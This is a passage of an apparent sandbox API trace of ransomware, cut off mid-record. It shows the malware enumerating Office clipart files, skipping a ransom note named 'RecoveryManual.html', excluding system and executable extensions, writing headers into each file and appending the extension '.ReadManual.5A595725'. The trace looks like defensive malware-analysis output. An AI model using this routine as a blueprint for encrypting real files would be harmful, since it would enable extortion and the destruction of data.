[0267.747] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.748] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.748] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.752] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.752] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d94) returned 0x2f0000 [0267.752] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.752] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38842114294) returned 1 [0267.752] CloseHandle (hObject=0x184) returned 1 [0267.752] SetSecurityInfo () returned 0x57 [0267.753] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.753] CloseHandle (hObject=0x194) returned 1 [0267.753] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x221c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0187851.WMF", cAlternateFileName="")) returned 1 [0267.753] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0187851.WMF" | out: lpString1="J0187851.WMF") returned="J0187851.WMF" [0267.753] lstrcmpiW (lpString1="J0187851.WMF", lpString2="RecoveryManual.html") returned -1 [0267.753] StrStrIW (lpFirst="J0187851.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.753] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.753] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.753] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.753] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.753] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.753] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.753] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.753] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.753] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.753] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.753] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.753] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.753] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.753] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.753] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" [0267.753] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF.ReadManual.5A595725" [0267.753] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF.ReadManual.5A595725") returned 87 [0267.753] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38842213396) returned 1 [0267.753] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf")) returned 0x20 [0267.754] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.754] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8732) returned 1 [0267.754] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x221c, lpName=0x0) returned 0x184 [0267.754] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.755] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.755] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.756] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.757] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x221c) returned 0x2f0000 [0267.757] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.757] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38842563067) returned 1 [0267.757] CloseHandle (hObject=0x184) returned 1 [0267.757] SetSecurityInfo () returned 0x57 [0267.757] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.757] CloseHandle (hObject=0x194) returned 1 [0267.757] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0187859.WMF", cAlternateFileName="")) returned 1 [0267.757] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0187859.WMF" | out: lpString1="J0187859.WMF") returned="J0187859.WMF" [0267.757] lstrcmpiW (lpString1="J0187859.WMF", lpString2="RecoveryManual.html") returned -1 [0267.757] StrStrIW (lpFirst="J0187859.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.757] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.757] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.757] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.757] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.757] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.757] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.758] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.758] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.758] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.758] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.758] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.758] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.758] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.758] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.758] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" [0267.758] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF.ReadManual.5A595725" [0267.758] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF.ReadManual.5A595725") returned 87 [0267.758] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38842662178) returned 1 [0267.758] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf")) returned 0x20 [0267.758] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.758] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2732) returned 1 [0267.758] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaac, lpName=0x0) returned 0x184 [0267.759] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.759] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.759] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.761] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.761] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaac) returned 0x2f0000 [0267.761] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.761] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38843009710) returned 1 [0267.761] CloseHandle (hObject=0x184) returned 1 [0267.761] SetSecurityInfo () returned 0x57 [0267.762] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.762] CloseHandle (hObject=0x194) returned 1 [0267.762] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0187861.WMF", cAlternateFileName="")) returned 1 [0267.762] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0187861.WMF" | out: lpString1="J0187861.WMF") returned="J0187861.WMF" [0267.762] lstrcmpiW (lpString1="J0187861.WMF", lpString2="RecoveryManual.html") returned -1 [0267.762] StrStrIW (lpFirst="J0187861.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.762] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.762] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.762] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.762] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.762] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.762] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.762] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.762] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.762] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.762] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.762] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.762] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.762] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.762] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.762] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" [0267.762] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF.ReadManual.5A595725" [0267.762] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF.ReadManual.5A595725") returned 87 [0267.762] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38843108935) returned 1 [0267.762] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf")) returned 0x20 [0267.763] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.763] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9108) returned 1 [0267.763] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2394, lpName=0x0) returned 0x184 [0267.764] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.765] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.765] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.783] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.786] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2394) returned 0x2f0000 [0267.786] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.786] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38845483135) returned 1 [0267.786] CloseHandle (hObject=0x184) returned 1 [0267.786] SetSecurityInfo () returned 0x57 [0267.786] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.786] CloseHandle (hObject=0x194) returned 1 [0267.786] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a44, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0187863.WMF", cAlternateFileName="")) returned 1 [0267.786] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0187863.WMF" | out: lpString1="J0187863.WMF") returned="J0187863.WMF" [0267.786] lstrcmpiW (lpString1="J0187863.WMF", lpString2="RecoveryManual.html") returned -1 [0267.786] StrStrIW (lpFirst="J0187863.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.787] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.787] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.787] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.787] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.787] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.787] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.787] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.787] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.787] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.787] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.787] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.787] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.787] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.787] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.787] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" [0267.787] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF.ReadManual.5A595725" [0267.787] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF.ReadManual.5A595725") returned 87 [0267.787] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38845583736) returned 1 [0267.787] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf")) returned 0x20 [0267.787] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.788] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10820) returned 1 [0267.788] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2a44, lpName=0x0) returned 0x184 [0267.788] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.788] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.788] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.799] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.800] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2a44) returned 0x2f0000 [0267.800] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.800] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38846865490) returned 1 [0267.800] CloseHandle (hObject=0x184) returned 1 [0267.800] SetSecurityInfo () returned 0x57 [0267.800] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.800] CloseHandle (hObject=0x194) returned 1 [0267.800] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1258, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0187881.WMF", cAlternateFileName="")) returned 1 [0267.800] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0187881.WMF" | out: lpString1="J0187881.WMF") returned="J0187881.WMF" [0267.800] lstrcmpiW (lpString1="J0187881.WMF", lpString2="RecoveryManual.html") returned -1 [0267.800] StrStrIW (lpFirst="J0187881.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.800] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.800] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.800] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.800] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.800] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.801] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.801] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.801] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.801] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.801] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.801] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.801] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.801] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.801] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.801] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" [0267.801] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF.ReadManual.5A595725" [0267.801] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF.ReadManual.5A595725") returned 87 [0267.801] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38846969604) returned 1 [0267.801] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf")) returned 0x20 [0267.801] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.801] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4696) returned 1 [0267.801] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1258, lpName=0x0) returned 0x184 [0267.802] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.802] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.802] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.881] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.881] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1258) returned 0x2f0000 [0267.881] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.881] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38855011961) returned 1 [0267.881] CloseHandle (hObject=0x184) returned 1 [0267.881] SetSecurityInfo () returned 0x57 [0267.882] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.882] CloseHandle (hObject=0x194) returned 1 [0267.882] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, 